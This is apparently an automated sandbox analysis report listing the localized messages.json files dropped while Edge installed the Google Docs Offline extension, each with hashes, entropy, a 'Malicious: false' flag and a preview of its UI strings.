Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5144_2118300560\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
